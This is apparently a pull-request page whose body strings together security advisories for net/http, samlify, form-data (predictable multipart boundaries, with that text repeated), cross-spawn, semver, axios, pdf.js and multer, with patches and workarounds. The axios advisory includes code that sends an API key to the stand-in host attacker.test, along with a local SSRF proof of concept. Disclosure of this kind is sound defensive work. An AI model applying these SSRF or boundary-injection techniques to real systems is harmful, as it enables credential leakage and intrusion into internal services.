Add OAuth2Error class and corresponding tests - #80

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Impact

v3.0.8, v2.1.2, v1.16.4 and below

Patches

Has been patched in 3.0.9, 2.1.3, and 1.16.5

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

• fix: MEMORY LEAK expressjs/multer#1120
• expressjs/multer@2c8505f